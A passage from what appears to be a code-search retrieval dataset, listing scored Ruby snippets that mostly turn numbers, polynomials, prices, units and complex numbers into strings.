"title": "" }, { "docid": "9b8a30a9a7a834e997b99e411dfaf762", "score": "0.53594077", "text": "def _to_s\n str = @number.dup\n if @point.nonzero?\n str[@number.size + @point, 0] = '.'\n end\n @sign + str\n end", "title": "" }, { "docid": "8f298b94d3336b04e3c8c4c220c57a70", "score": "0.5353787", "text": "def to_s\n if self.val.is_a? Pow then\n left = \"-#{self.val.left.to_s}\"\n right = (self.val.right.is_a? Number) ? (self.val.right.to_s) : (\"(#{self.val.right.to_s})\")\n return \"#{left}^#{right}\"\n elsif self.val.is_a? Sum or self.val.is_a? Diff then\n return \"-(#{self.val.to_s})\"\n else\n return \"-#{self.val.to_s}\"\n end\n end", "title": "" }, { "docid": "6253628c6753eb4cde9fab20748df699", "score": "0.5328785", "text": "def to_s\n return \"(\" + @beta0.to_s + \", \" + @beta_s.to_s + \")\"\n end", "title": "" }, { "docid": "e1afddc1bb762909f5de328243190ce5", "score": "0.5307657", "text": "def recover_simple_equation arr_coefficient\n if arr_coefficient[0].to_f == 0\n return arr_coefficient[1]\n else\n if arr_coefficient[1].to_f == 0\n if arr_coefficient[0].to_f == 1\n return \"x\"\n else\n if arr_coefficient[0].to_f < 0\n return ({ method: \"*\", array_elements: [\"-1\", arr_coefficient[0].split(\"-\")[1], \"x\"] })\n else\n return ({ method: \"*\", array_elements: [arr_coefficient[0], \"x\"] })\n end\n end\n else\n if arr_coefficient[1].to_f > 0\n if arr_coefficient[0].to_f == 1\n return ({ method: \"+\", array_elements: [\"x\", arr_coefficient[1]] })\n else\n if arr_coefficient[0].to_f > 0\n return ({\n method: \"+\",\n array_elements: [\n {\n method: \"*\",\n array_elements: [arr_coefficient[0], \"x\"]\n },\n arr_coefficient[1]\n ]\n })\n else\n return ({\n method: \"+\",\n array_elements: [\n {\n method: \"*\",\n array_elements: [\"-1\", arr_coefficient[0].split(\"-\")[1], \"x\"]\n },\n arr_coefficient[1]\n ]\n })\n end\n end\n else\n if arr_coefficient[0].to_f == 1\n return ({ method: \"+\", array_elements: [\n \"x\",\n { method: \"*\", array_elements: [\"-1\", arr_coefficient[1].split(\"-\")[1]] }] })\n else\n if arr_coefficient[0].to_f > 0\n return ({\n method: \"+\",\n array_elements: [\n {\n method: \"*\",\n array_elements: [arr_coefficient[0], \"x\"]\n },\n { method: \"*\", array_elements: [\"-1\", arr_coefficient[1].split(\"-\")[1]] }\n ]\n })\n else\n return ({\n method: \"+\",\n array_elements: [\n {\n method: \"*\",\n array_elements: [\"-1\", arr_coefficient[0].split(\"-\")[1], \"x\"]\n },\n { method: \"*\", array_elements: [\"-1\", arr_coefficient[1].split(\"-\")[1]] }\n ]\n })\n end\n end\n end\n end\n end\n end", "title": "" }, { "docid": "259a6a9d6b8d6e554dc2be5736b1859b", "score": "0.53076017", "text": "def to_s\n if @cents_per_octave != 1200\n raise \"Don't know how to produce a string representation since cents_per_octave is not 1200.\"\n end\n \n semitone_str = case @semitone\n when 0 then \"C\"\n when 1 then \"Db\"\n when 2 then \"D\"\n when 3 then \"Eb\"\n when 4 then \"E\"\n when 5 then \"F\"\n when 6 then \"Gb\"\n when 7 then \"G\"\n when 8 then \"Ab\"\n when 9 then \"A\"\n when 10 then \"Bb\"\n when 11 then \"B\"\n end\n \n return semitone_str + @octave.to_s\n end", "title": "" }, { "docid": "30825c902e067afebe258db78dbdd965", "score": "0.5307569", "text": "def to_s\n numerator = \"\"\n denominator = \"\"\n units.each do |unit|\n u = unit.symbol\n e = unit.power\n e_abs = e > 0 ? e : -e # This works with Complex too\n (e > 0 ? numerator : denominator) << \" #{u.to_s}#{\"**#{e_abs}\" if e_abs != 1}\"\n end\n \"#{numerator.lstrip}#{\"/\" + denominator.lstrip if not denominator.empty?}\"\n end", "title": "" }, { "docid": "07eaaa362584e99fc46e208875774709", "score": "0.5296374", "text": "def exponent_binary_string\n [self].pack(\"G\").unpack1(\"B*\")[1, 11]\n end", "title": "" }, { "docid": "35ea3ea1c0b922bd7ee468631f40a1f2", "score": "0.52729386", "text": "def coeff\n return @coeff if !!@coeff\n calculate\n return @coeff\n end", "title": "" }, { "docid": "6e2a0bee0a8e6a218a770d326450e475", "score": "0.5272935", "text": "def polynomio_to_s(pol)\n r = ''\n pol.each_with_index do |n, i|\n # if n is zero the sub polynomio should not be showed\n next if n.zero?\n\n # include the operator in front the new sub polynomio\n # if it's not the first one\n r += (n > 0 ? ' + ' : ' - ') if !i.zero?\n\n # if the sub polynomio is negaive invert the sign\n n *= -1 if n < 0\n\n # calculate the expoente\n exp = pol.size - i - 1\n\n # print only n if expoente is zero\n if exp.zero?\n r += n.to_s\n\n # print the only 'x' if the expoent is one\n elsif exp == 1\n r += \"#{n}x\"\n else\n r += \"#{n}x^#{exp}\"\n end\n end\n r\n end", "title": "" }, { "docid": "41b5cc2e6ded6dfb251c493eb947c8fa", "score": "0.5262909", "text": "def to_tex(numerator = Number.new(1))\n strs = @args.map do |arg|\n str = arg.to_tex\n (arg.is_a?(Mathmas::Expression) ? \"(\" + str + \")\" : str)\n end\n\n if @args[1].is_a?(Number) && @args[1].num < 0\n denominator = (@args[1].num == -1 ? strs[0] : strs[0] + \"^\" + (-@args[1].num).to_s)\n \"\\\\frac{#{ numerator.to_tex }}{#{ denominator }}\"\n else\n strs.join(\"^\")\n end\n end", "title": "" }, { "docid": "4ca291e571ac56e966e7f3a10cc6d547", "score": "0.5254688", "text": "def to_sci_string(x)\n to_string x, false\n end", "title": "" }, { "docid": "a6a25498ef16ac205100935fdd26f17a", "score": "0.52431107", "text": "def to_s() xto_s.gsub(/\\.0+$/,'') end", "title": "" }, { "docid": "2e4fc4fb7f76f66737a15b2da8e1a5c9", "score": "0.51870656", "text": "def VectorAsPolynomial\n vector = self.coords\t\n result = \"\"\n result.clear\n\n a = vector.length-1\n\n while (a > 0) do\n\n if(vector[a] == 0)\n \ta-=1\n next\n end\n\n if(a != vector.length-1 && vector[a] > 0)\n result.concat(\" +\")\n elsif(a != vector.length-1 && vector[a] < 0)\n result.concat(\" \")\n end\n \n if(vector[a] == 1)\n\n if(a > 1)\n result.concat(\"x^#{a}\")\n else\n result.concat(\"x\")\n end\n else\n if(a > 1)\n result.concat(\"#{vector[a]}x^#{a}\")\n else\n result.concat(\"#{vector[a]}x\")\n end\n end\n\n a -= 1\n end\n\n\n if(result.empty?)\n result.concat(\"#{vector[0]}\")\n elsif(vector[0] != 0)\n result.concat(\" +#{vector[0]}\")\n end\n return result\n end", "title": "" }, { "docid": "24f8a1a7752efc4c2a587f87b07a5bbe", "score": "0.51642144", "text": "def to_s\n return if entangled?\n\n first = el(0)\n last = el(1)\n\n out = ''\n out << first.to_s << ZERO_KET unless first.zero?\n out << ADD_SYM unless first.zero? || last.zero?\n out << last.to_s << ONE_KET unless last.zero?\n out\n end", "title": "" }, { "docid": "3510465c2dfc8d7f480e37ef45caa42c", "score": "0.5152287", "text": "def to_s\n numerator = \"\"\n denominator = \"\"\n @units.each_pair do |u, e|\n e_abs = e > 0 ? e : -e # This works with Complex too\n (e > 0 ? numerator : denominator) << \" #{u.to_s}#{\"**#{e_abs}\" if e_abs != 1}\"\n end\n \"#{numerator.lstrip}#{\"/\" + denominator.lstrip if not denominator.empty?}\"\n end", "title": "" }, { "docid": "3b3b0d25f04db7936a788db949d662cf", "score": "0.5152093", "text": "def to_s\n return \"-#{operand(1)}\" if length == 2 && operand(0) == -1\n\n @operands.map do |each|\n case each\n when Sum\n \"(#{each})\"\n when Product\n if each.length == 2 && each.operand(0) == -1\n \"(-#{each.operand(1)})\"\n elsif each.length > 1\n \"(#{each})\"\n else\n each.to_s\n end\n else\n each.to_s\n end\n end.join('*')\n end", "title": "" }, { "docid": "9db68888a3f94a2c5e1815b2924209ba", "score": "0.51292604", "text": "def poly_first_deriv(x, coeff)\n poly(x, (0...coeff.size-1).inject([]){|deriv, i| deriv << coeff[i] * (coeff.size - i - 1)})\nend", "title": "" }, { "docid": "4e6c7d14a8eb8c628e2185ab31a79ed6", "score": "0.51170534", "text": "def expanded_form(s)\n number_array = s.to_s.chars\n exponent_index = 1\n binary_array = []\n number_array.each do |num|\n num = num.to_i\n binary_array << (num * ( 10 ** (number_array.length - exponent_index)))\n exponent_index += 1\n end\n binary_array.delete(0)\n binary_array.join(' + ')\nend", "title": "" }, { "docid": "245e1d62ac3434992230919efd010d1d", "score": "0.51146644", "text": "def power_text\n power = base_power\n return text_get(11, 12) if power == 0\n\n return power.to_s\n end", "title": "" }, { "docid": "cab76568fedeb0007bfc25e663770aa6", "score": "0.50965065", "text": "def coefficient_params\n params[:coefficient]\n end", "title": "" }, { "docid": "726450eec6dcb121a091d1103d8f7436", "score": "0.5084737", "text": "def human_readable\n if zero?\n format(\"%c0.0\", sign < 0 ? \"-\" : \"+\")\n elsif normal?\n format(\"%+d * 0b1.%s * 2**(%d-1023)\",\n sign, mantissa_binary_string, exponent)\n elsif denormal?\n format(\"%+d * 0b0.%s * 2**-1022\", sign, mantissa_binary_string)\n elsif nan?\n format(\"NaN <%s, %s, %s>\", *binary_string)\n else # infinity?\n format(\"%cInfinity\", sign < 0 ? \"-\" : \"+\")\n end\n end", "title": "" }, { "docid": "99d2d177331e48ef9a3f29ee20afb824", "score": "0.50677925", "text": "def\t\tget_imaginary_format(i = 'positif')\n if i == 'positif'\n s = \" + \" if MathTools.sqrt(-@delta).to_f/(2*@coeff[2].to_f) >= 0\n s = \" - \" unless MathTools.sqrt(-@delta).to_f/(2*@coeff[2].to_f) >= 0\n else\n s = \" - \" if MathTools.sqrt(-@delta).to_f/(2*@coeff[2].to_f) >= 0\n s = \" + \" unless MathTools.sqrt(-@delta).to_f/(2*@coeff[2].to_f) >= 0\n end\n if MathTools.sqrt(-@delta).to_f/(2*@coeff[2].to_f) % 1 != 0\n s = s + \"i * \" + format_result(MathTools.sqrt(-@delta).to_f/(2*@coeff[2].to_f)).to_s + \".\"\n else\n if format_result(MathTools.sqrt(-@delta).to_f/(2*@coeff[2].to_f)) == 1\n s = s + \"i.\"\n else\n s = s + format_result(MathTools.sqrt(-@delta).to_f/(2*@coeff[2].to_f)).to_s + \"i.\"\n end\n end\n return s\n end", "title": "" }, { "docid": "aa501316cbc698d0fe1070b03732c1be", "score": "0.5021282", "text": "def toString\n\t\tif getGrado == 0\n\t\t\treturn @a[0].to_s\n\t\telse\n\t\t\taux = @a.reverse\n \tg = getGrado\n\t\t\tif @b == \"reales\"\n \t\ts = toStringAux(aux[0]) + \"x^\" + g.to_s\n\t \t\ti = 0\n \t\taux.each do |x|\n\t\t\t\t\tif i > 0 && g > 0\n\t \t\t \tif x >= 0\n\t \t\t \t\ts += \" + \" + toStringAux(x) + \"x^\" + g.to_s \n\t \t\t elsif x < 0 \n\t\t\t\t \ts += \" \" + toStringAux(x) + \"x^\" + g.to_s\n\t \t\t end\n\t\t\t\t\tend\n\t \t\t g = g - 1\n\t \t\t i = i + 1\n\t\t\t\tend\n\t \t\tif aux[getGrado] > 0\n\t \t\t \ts += \" + \" + toStringAux(aux[getGrado])\n \t\telsif aux[getGrado] < 0\n\t\t \t\t\ts += toStringAux(aux[getGrado])\n\t \t\telse\n\t\t \t\t\ts = s\n\t \t\tend\n\t \t\treturn s\n\t\t\telsif @b == \"complejos\"\n\t \t\ts = toStringAux(aux[0]) + \"x^\" + g.to_s\n\t \t\ti = 0\n \t\taux.each do |x|\n\t\t\t\t\tif i > 0 && g > 0\n\t \t\t \t\ts += \" + \" + toStringAux(x) + \"x^\" + g.to_s \n\t\t\t\t\tend\n\t \t\t \tg = g - 1\n\t \t\t \ti = i + 1\n\t\t\t\tend\n\t \t\ts += \" + \" + toStringAux(aux[getGrado])\n\t \t\treturn s\n\t\t\tend\n\t\tend\t \n end", "title": "" }, { "docid": "c859ddf5b5307884557ac8c0d5267d35", "score": "0.4998535", "text": "def price_as_string\n priceMessage = sprintf(\"$%0.2f\", @price) #sprintf() for formated string\n return priceMessage\n end", "title": "" }, { "docid": "f1a8c742effef5c1771c675acc0e6eb6", "score": "0.49946073", "text": "def to_s\n out = \"#{operator} #{major}\"\n out << \".#{minor}\" if minor\n out << \".#{patch}\" if patch\n out << \"-#{pre_release}\" if pre_release\n out << \"+#{build}\" if build\n out\n end", "title": "" }, { "docid": "d1d40a1a0ef14f9848c4bd4d6f50d515", "score": "0.4992313", "text": "def to_s\n \"#{@formula} : #{@microtheory}\"\n end", "title": "" }, { "docid": "b99fefec01539a51073a1ad136232beb", "score": "0.49839365", "text": "def price_to_string\n '$' + price_to_decimal.to_s\n end", "title": "" }, { "docid": "f5d16c561d6b19c969f2ffa3aa6a6666", "score": "0.4972166", "text": "def to_currency_s(symbol=\"$\")\n \n num = self.round_to(2).to_s\n neg = num.include?(\"-\")\n while num.index('.') != (num.length-3)\n num << '0'\n end\n comma = 6\n while num.length > (comma)\n num.insert((num.length - comma), \",\")\n comma += 4\n end\n num.insert(0,symbol)\n if neg\n num.delete!(\"-\")\n num.insert(0, \"-\")\n end\n num\n end", "title": "" }, { "docid": "c77d123802ba40524eba4a32d1c9d925", "score": "0.49559075", "text": "def to_s()\n return @exp\n end", "title": "" }, { "docid": "10b10ef50f7b52b52ad5ba8f3996a1ad", "score": "0.49502", "text": "def to_s\n result = real.to_s\n\n if imag.kind_of?(Float) ? !imag.nan? && FFI::Platform::Math.signbit(imag) != 0 : imag < 0\n result << \"-\"\n else\n result << \"+\"\n end\n\n imag_s = imag.abs.to_s\n result << imag_s\n\n unless imag_s[-1] =~ /\\d/\n result << \"*\"\n end\n\n result << \"i\"\n result\n end", "title": "" }, { "docid": "9272510263f87cdc2ed341fe4589a384", "score": "0.49437568", "text": "def to_string\n rhs_text = symbols.map do |elem|\n case elem\n when String then \"'#{elem}'\"\n else elem.to_s\n end\n end\n\n rhs_text.join(' ')\n end", "title": "" }, { "docid": "3af9bb8a7acb21c34aa0374ec3ae8a58", "score": "0.493844", "text": "def to_s\n \"k-point at k=(#{k[0]}, #{k[1]}, #{k[2]}) omega = #{freqs.to_s[1..-2]}\"\n end", "title": "" }, { "docid": "21b1d8e679cebdb39db9d8f860e9634a", "score": "0.49372178", "text": "def to_s\n (graph_name ? to_quad : to_triple).map do |term|\n term.respond_to?(:to_base) ? term.to_base : term.inspect\n end.join(\" \") + \" .\"\n end", "title": "" }, { "docid": "a125cd7737dfe31524d9ad309349ac95", "score": "0.4931302", "text": "def coeffs\n ('%04d' % [self]).chars.map(&:to_i)\n end", "title": "" }, { "docid": "75e94e1ee185938d04de231c8cd5e62e", "score": "0.49263462", "text": "def price_as_string\n #take integer part of the number\n iprice = @price.to_i\n #take decimal part of the number\n fprice = @price-iprice.to_f\n #Multiply the fraction with 100 and convert to integer to take 2 decimal points\n fprice = fprice*100\n ifprice = fprice.to_i\n if ifprice < 10\n str = \"$\"+iprice.to_s+\".0\"+ifprice.to_s\n else \n str = \"$\"+iprice.to_s+\".\"+ifprice.to_s\n end \n return str\n end", "title": "" }, { "docid": "6fbf298a1985e2cddf28b73255bbafec", "score": "0.49161172", "text": "def price_as_string\n s= sprintf( \"%0.02f\", @price)\n return '$'+s\n end", "title": "" }, { "docid": "520803939624ccb9889750f71d04e8da", "score": "0.49132597", "text": "def to_s\n '('+a.real.to_s+')+('+a.imag.to_s+')i+('+b.real.to_s+')j+('+b.imag.to_s+')k' \n end", "title": "" }, { "docid": "ba5b260de09ceee9df3d6e354def0751", "score": "0.49060896", "text": "def price_as_string\n return \"$%0.2f\" % @price\n end", "title": "" }, { "docid": "ba5b260de09ceee9df3d6e354def0751", "score": "0.49060896", "text": "def price_as_string\n return \"$%0.2f\" % @price\n end", "title": "" }, { "docid": "ba5b260de09ceee9df3d6e354def0751", "score": "0.49060896", "text": "def price_as_string\n return \"$%0.2f\" % @price\n end", "title": "" }, { "docid": "332f8535ecd2836aad76529004b5e5c5", "score": "0.48925626", "text": "def cubic_regression(x, y)\n eqn = [\"cubic\"] + regression(x, y, 3)\n y_expected = x.map { |xi| eqn[1] + (eqn[2] * xi) + (eqn[3] * xi**2) + (eqn[4] * xi**3) }\n\n eqn << s_value(y, y_expected)\nend", "title": "" }, { "docid": "85737e07d8ec8e3b3ededcfca96f4d3d", "score": "0.4891675", "text": "def price_as_string\n \"$#{\"%0.2f\" % price}\"\n end", "title": "" }, { "docid": "2557398915969516d292d435be0a3e14", "score": "0.48842034", "text": "def to_s\n prefix + (negative? && value == 0 ? '-' : '') + value.to_s\n end", "title": "" }, { "docid": "b2c3112be9136ed9ca94a1ded503faf9", "score": "0.4880808", "text": "def to_s\n str = requirements.map(&:to_s).join(\" \" + @op.to_s + \" \").to_s\n str = \"( \" + str + \" )\" if negative || requirements.size > 1\n str = \"!\" + str if negative\n str\n end", "title": "" }, { "docid": "e5cc0a9c543a702a6fd2297e7eab160f", "score": "0.4875744", "text": "def as_string\n return case @operation\n when '+' then \"#{@input_a} + #{@input_b} = #{result}\"\n when '-' then \"#{@input_a} - #{@input_b} = #{result}\"\n when '*' then \"#{@input_a} * #{@input_b} = #{result}\"\n when '/' then \"#{@input_a} / #{@input_b} = #{result}\"\n when '**' then \"#{@input_a} ** #{@input_b} = #{result}\"\n when 'sqrt' then \"sqrt( #{@input_a} ) = #{result}\"\n end\n end", "title": "" }, { "docid": "8b8bf59783c89d1066448b21ade37fd0", "score": "0.48676515", "text": "def price_as_string\n return \"$%.2f\" % price\n end", "title": "" }, { "docid": "75e196f3d8a588872bc6fd9089df3f1a", "score": "0.48674697", "text": "def to_s\n @core.to_s + '.x'\n end", "title": "" }, { "docid": "a12219a6dc88bf41797547372fefe8e8", "score": "0.4864026", "text": "def encryptPolynomial(message)\n # TODO\n end", "title": "" }, { "docid": "cad87bf12b8d84484a7ea79935c55c60", "score": "0.4860554", "text": "def to_s\n return \"#{@num}/#{@den}\"\n end", "title": "" }, { "docid": "7ff77ad44e06559a28c5ead130f01865", "score": "0.4856552", "text": "def to_s()\n\t\t\"#{@num}/#{@den}\"\n\tend", "title": "" }, { "docid": "97f26f65de26935f66646a75e8d6bf29", "score": "0.48548195", "text": "def to_s\n \"#{@num}/#{@den}\"\n end", "title": "" }, { "docid": "508ef65e1a37ea50b7668404b51a732c", "score": "0.4846165", "text": "def price_as_string; sprintf( \"\\$%0.02f\", @price); end", "title": "" }, { "docid": "036eb7b25350702e8798b0958cf4df0e", "score": "0.4844705", "text": "def exp()\n nums = num_input()\n nums[2] = nums[0] ** nums[1] \n nums[3] = \"^\"\n return nums.collect{|e|e.to_s}\nend", "title": "" }, { "docid": "717e7b7197a88e039f0fb95b84b23297", "score": "0.48429456", "text": "def dec_to_string(decimal_number, base = 10)\n return \"0\" if decimal_number == 0\n powers_of_base = powers_for(decimal_number, base)\n digits = []\n while last_exponent = powers_of_base.pop\n base_count, decimal_number = decimal_number.divmod(last_exponent)\n digits.push(DIGITS[base_count])\n end \n digits.join(\"\")\nend", "title": "" }, { "docid": "614222c69373ec2938d455b1a22b2890", "score": "0.48424238", "text": "def price_as_string\n \"$#{\"%0.2f\" % @price}\"\n end", "title": "" }, { "docid": "4a720c8bf91f2618a5e2fc7ffd26cd9f", "score": "0.48416212", "text": "def to_s\n prefix = \"#{production.lhs} => \"\n text_values = production.rhs.map(&:to_s)\n if position.negative?\n text_values << '.'\n else\n text_values.insert(position, '.')\n end\n suffix = text_values.join(' ')\n\n prefix + suffix\n end", "title": "" }, { "docid": "128e69c2331401fcc4879523adaeefe5", "score": "0.48365882", "text": "def num_to_string(num = @num, type = :cardinal)\n name = ''\n num_to_triplets(num).each_with_index.reverse_each do |triplet, index| \n name += \" #{name_triplet triplet} #{SCALES[index]}\" if triplet > 0\n end \n name == '' ? 'zero' : name.sub(/^\\s*/, '').sub(/\\s*$/, '')\n end", "title": "" }, { "docid": "7cccda1e79aef961c6ab5b087a675d79", "score": "0.48299304", "text": "def to_s\n @expressions.map(&:to_s).join\n end", "title": "" }, { "docid": "a89d327144c55a93a5045e2b6c87bad8", "score": "0.48265487", "text": "def to_s\n \"EWC:#{@ewc_code} standard:#{@standard_tonnage} lower:#{@lower_tonnage}\"\n end", "title": "" }, { "docid": "12b14643d06a6cb0b594ca21830085de", "score": "0.4811263", "text": "def price_as_string\n return \"$\" + '%.2f' % @price \n end", "title": "" }, { "docid": "3b30c7eed226321003eb1fd47a5dba06", "score": "0.48108098", "text": "def to_s\n return \"#{@num}/#{@den}\"\n end", "title": "" }, { "docid": "8cb8b8b7d43e8db67bc1bce47b422d4f", "score": "0.48084986", "text": "def to_s\n numerator = \"\"\n denominator = \"\"\n @units.each_pair do |u, e|\n (e > 0 ? numerator : denominator) << \" #{u.to_s}#{\"**#{e.abs}\" if e.abs != 1}\"\n end\n \"#{numerator.lstrip}#{\"/\" + denominator.lstrip if not denominator.empty?}\"\n end", "title": "" }, { "docid": "3fe7be0c68050481227596654e8b740f", "score": "0.48006612", "text": "def subject_to_string(subject)\n literal = ''\n subject.subfields.each do | subfield |\n if !literal.empty?\n if [\"v\",\"x\",\"y\",\"z\"].index(subfield.code)\n literal << '--'\n else\n literal << ' ' if subfield.value =~ /^[\\w\\d]/\n end\n end\n literal << subfield.value\n end\n literal.strip_trailing_punct \n end", "title": "" }, { "docid": "76c1225861e9ed0707677541134ab24e", "score": "0.47960737", "text": "def to_s\n return cis_subject.to_s + ' ' + number.to_s\n end", "title": "" }, { "docid": "933d5d9a1e28eefece2fb38413ede2d3", "score": "0.47925147", "text": "def to_sci\n return 0.0 unless scientific?\n number, exponent = self.split /e\\+/\n\n integer, mantissa = number.split /\\./\n mantissa = mantissa.gsub /0+$/, ''\n\n exponent = exponent.to_i - mantissa.size\n integer += mantissa\n\n zeros = \"0\" * exponent\n\n bigass_number = integer + zeros\n bigass_number.to_i\n end", "title": "" }, { "docid": "6fb8973c7d09b93ff9ec0725f1bf2de0", "score": "0.47922453", "text": "def get_coeffs\n ('%04d' % [self]).chars.map(&:to_i)\n end", "title": "" }, { "docid": "f5c384600f50409a582514c7d82881da", "score": "0.47882584", "text": "def price_as_string\n newprice = \"$\"+ \"#{'%.02f' % price}\"\n \n return newprice\nend", "title": "" }, { "docid": "7439880cc633466d9c570cb398ed4728", "score": "0.4785889", "text": "def price_as_string\n \"$%.2f\" % @price\n end", "title": "" }, { "docid": "9ca5bb88a07bb592b251262e1b5abba2", "score": "0.4780764", "text": "def price_as_string\n return \"$%.2f\" % @price\n end", "title": "" }, { "docid": "2b06b044f5a82e2fb15e509de3335e19", "score": "0.47795674", "text": "def price_as_string\n sprintf \"$%.2f\", self.price\n end", "title": "" }, { "docid": "e2661810260315d4420ac8828b47d4c1", "score": "0.4779411", "text": "def to_s\n \"(#{x}, #{y}, #{z})\"\n end", "title": "" }, { "docid": "d3b924c1a53bb126eadebbeec9e309a8", "score": "0.47777516", "text": "def to_s\n \"#{to_s_no_currency} #{currency}\"\n end", "title": "" }, { "docid": "7d1eec3895e1cdf39e2e262b72f2c982", "score": "0.47774583", "text": "def price_as_string\n sprintf \"$%.2f\", @price\n end", "title": "" }, { "docid": "06ae23cbb9295d90f6d2add41bea7574", "score": "0.47712705", "text": "def toStringAux(n)\n\t\tif n.class != Fixnum && n.class != Bignum && n.class != NumCom && n.class != Float\n\t\t\treturn \"Algun numero no es valido\"\n\t\t\texit\n\t\telsif @b == \"reales\"\n\t\t\treturn n.to_s\n\t\telsif @b == \"complejos\"\n\t\t\treturn n.toStringC\n\t\tend\n\tend", "title": "" }, { "docid": "731a4368731457274f64585cb91ce03d", "score": "0.4765859", "text": "def gaussian94_format\n ordered_cc = all_characters.map{|character| @cc[character]}.compact\n \n components = [\"%e\" % @alpha]\n components += ordered_cc.map {|coefficient| \"%e\" % coefficient}\n \"\\t\" + components.join(\"\\t\\t\")\n end", "title": "" } ]
85d985f32c5cee1d00ff0100d142f7cd
Goes through (at most) 20 most recent receipts and returns top 5 search tags or however many are available.
[ { "docid": "3fe0f7d6a655e3427e815836302c48fb", "score": "0.6466921", "text": "def recommended_search_tags(id)\n receipts = Receipt.where(buyer_id: id).order(\"created_at DESC\").limit(20)\n search_tags = {}\n receipts.each do |receipt|\n receipt.item_tags.each do |tag|\n if search_tags.has_key?(tag)\n current_val = search_tags[tag]\n search_tags[tag] = current_val + 1\n else\n search_tags[tag] = 1\n end\n end\n end\n if search_tags.length >= 4\n return Hash[search_tags.sort_by { |k,v| v }.reverse![0..3]]\n else\n return Hash[search_tags.sort_by { |k, v| v }.reverse!]\n end\n end", "title": "" } ]
[ { "docid": "8ea0ec5d7ee10153e16f82529b90706c", "score": "0.6496072", "text": "def get_top_items(n: 10)\n items = Item.all.sort_by { |item| [item.rating * (item.reviews.length > 2 ? 1 : 0), item.reviews.length] }\n items.reverse!\n items[0..n]\n end", "title": "" }, { "docid": "22c0d88a6293a4048f4a7b3f30ff3133", "score": "0.63863856", "text": "def tfivetags\n tag_array = self.tags\n sort_array = tag_array.sort!{|a,b| a.reputation_for(:votes) <=> b.reputation_for(:votes)}\n sort_array.reverse!\n topfive = sort_array.take(5)\n topfive\n end", "title": "" }, { "docid": "738f15459b25b9c68266b5f614bcca62", "score": "0.6379777", "text": "def top_customer_reviews\n reviews.order(rating: :desc).limit(5)\n end", "title": "" }, { "docid": "c910f332f2f6342940f3c924ed40238e", "score": "0.6361269", "text": "def search_trends\n Search.all.order('count DESC').take(5)\n end", "title": "" }, { "docid": "78e227477d6fc5086d3f545bbd1d5de9", "score": "0.62073576", "text": "def do_search_most_popular_tiers(options={})\n @popular_tiers = tier_class.popular({:limit => 5}.merge(options))\n end", "title": "" }, { "docid": "1a366f3fbcbdaa724de30802d938ad2d", "score": "0.6181905", "text": "def top_five_vehicles\n rentals = Rental.all\n reservations = Hash.new(0)\n rentals.each do |rental|\n reservations[rental.vehicle_id] += 1\n end\n\n top_vehicles = reservations.sort { | _, v| v }.reverse\n top_vehicles.keys.take(5)\nend", "title": "" }, { "docid": "64424f863ea5a9f7e04d3d04c67ac0b7", "score": "0.61710095", "text": "def do_search_most_recent_tiers(options={})\n @recent_tiers = tier_class.recent({:limit => 5}.merge(options))\n end", "title": "" }, { "docid": "421788b083fea2f67294f0a765ac7a5f", "score": "0.6119377", "text": "def topTags\n return HTTParty.get(REST_API + '/package_search?facet.field=[%22tags%22]&facet.limit=' + NUM_OF_TAGS + '&rows=0', {format: :json})\nend", "title": "" }, { "docid": "90ce354dcb7aa4d664862cfd3c986b00", "score": "0.6074284", "text": "def top_tags\n @top_tags ||= {\n top: client.tags,\n fetched: Time.now\n }\n if (Time.now - @top_tags[:fetched]) > 60\n @top_tags = {\n top: client.tags,\n fetched: Time.now\n }\n end\n @top_tags[:top]\n end", "title": "" }, { "docid": "8f9995c24eb9a5152937370a6e056042", "score": "0.6071459", "text": "def recent_reviews(n=5)\n all = event_ratings.order(\"created_at desc\").limit(n) + leader_ratings.order(\"created_at desc\").limit(n) + place_ratings.order(\"created_at desc\").limit(n)\n all.sort {|a,b| b.created_at <=> a.created_at }[0...n]\n end", "title": "" }, { "docid": "ebf7005516b31497b66702468f0655a5", "score": "0.60581666", "text": "def find_top_ten\n sorted_tweets = @retweeted_tweets.sort_by {|k, v| v[0]}.reverse\n top_number = sorted_tweets.length > 10 ? 10 : sorted_tweets.length\n sorted_tweets = sorted_tweets.take(top_number)\n end", "title": "" }, { "docid": "16e139a8f03647a47e0974cef2876dd6", "score": "0.599068", "text": "def most_used_notebooks(days, topn)\n relevant_clicks(days)\n .select('notebook_id, count(*) as c')\n .group(:notebook_id)\n .order('c desc')\n .limit(topn)\n .map {|e| [e.notebook_id, e.c]}\n end", "title": "" }, { "docid": "fff5983fd163cf3d6862cb6ce20f7ecc", "score": "0.59861577", "text": "def most_popular_tags\n ActsAsTaggableOn::Tagging.joins(:tag).where(taggable_id: self.id)\n .select(\"COUNT(taggings.tag_id) as total, tags.name\")\n .group(\"tags.name\").order(\"total DESC\").limit(5)\n end", "title": "" }, { "docid": "8366d28021f45a080f8191cf3254b362", "score": "0.59702414", "text": "def recent_Listings #for homepage\n UserBook.all(limit: 5)\n end", "title": "" }, { "docid": "ab98386dbe05137f1e2ca66d0baae2cd", "score": "0.5965399", "text": "def flickr_ps_top_tags(photoset, count = 10)\n site = @context.registers[:site]\n Jekyll::flickr_setup(site)\n \tphotoset = Jekyll::flickr_get_photoset(site, photoset)\n if !photoset\n return []\n end\n\n \treturn photoset.get_top_tags(count) \n end", "title": "" }, { "docid": "2669a0232dbc88e8b6e60cbdcb46f397", "score": "0.59531105", "text": "def top5\n results[0..4]\n end", "title": "" }, { "docid": "e8536f49dad4a18c964451cf53baf535", "score": "0.5948362", "text": "def top_5_words\n\n # filter out non-unique entities\n # add a :count to be able to sort by\n words = self.seen_words.uniq.each do |elem|\n elem.delete(:index)\n elem.merge!(:count => self.seen_words.count(elem))\n end\n\n # sort by :count, desc\n words.sort_by! { |x| -x[:count] }\n\n # return only the words\n words = words.uniq.map! {|x| x[:word] }\n\n # make sure we return at least 5 words everytime ( nil if missing )\n while words.length < 5\n words << nil\n end\n\n # return only 5\n return words.last(5)\n\n end", "title": "" }, { "docid": "61fbc00779e1efc85301c7d952e3793f", "score": "0.59203863", "text": "def n_best_tags(n)\n ## It's the most_posted tags along websites's tags\n tags.most_posted(n)\n end", "title": "" }, { "docid": "0e283190e11ae935210597f961d7f5c3", "score": "0.5898909", "text": "def focused_user_notebooks(days, topn)\n # Identify focused users\n focused_users = relevant_clicks(days)\n .select('user_id, count(distinct(notebook_id)) as c')\n .group(:user_id)\n .having('c <= 5')\n .map(&:user_id)\n\n # Most used notebooks by the set of focused users\n relevant_clicks(days)\n .where(user_id: focused_users)\n .select('notebook_id, count(*) as c')\n .group(:notebook_id)\n .order('c desc')\n .limit(topn)\n .map {|e| [e.notebook_id, e.c]}\n end", "title": "" }, { "docid": 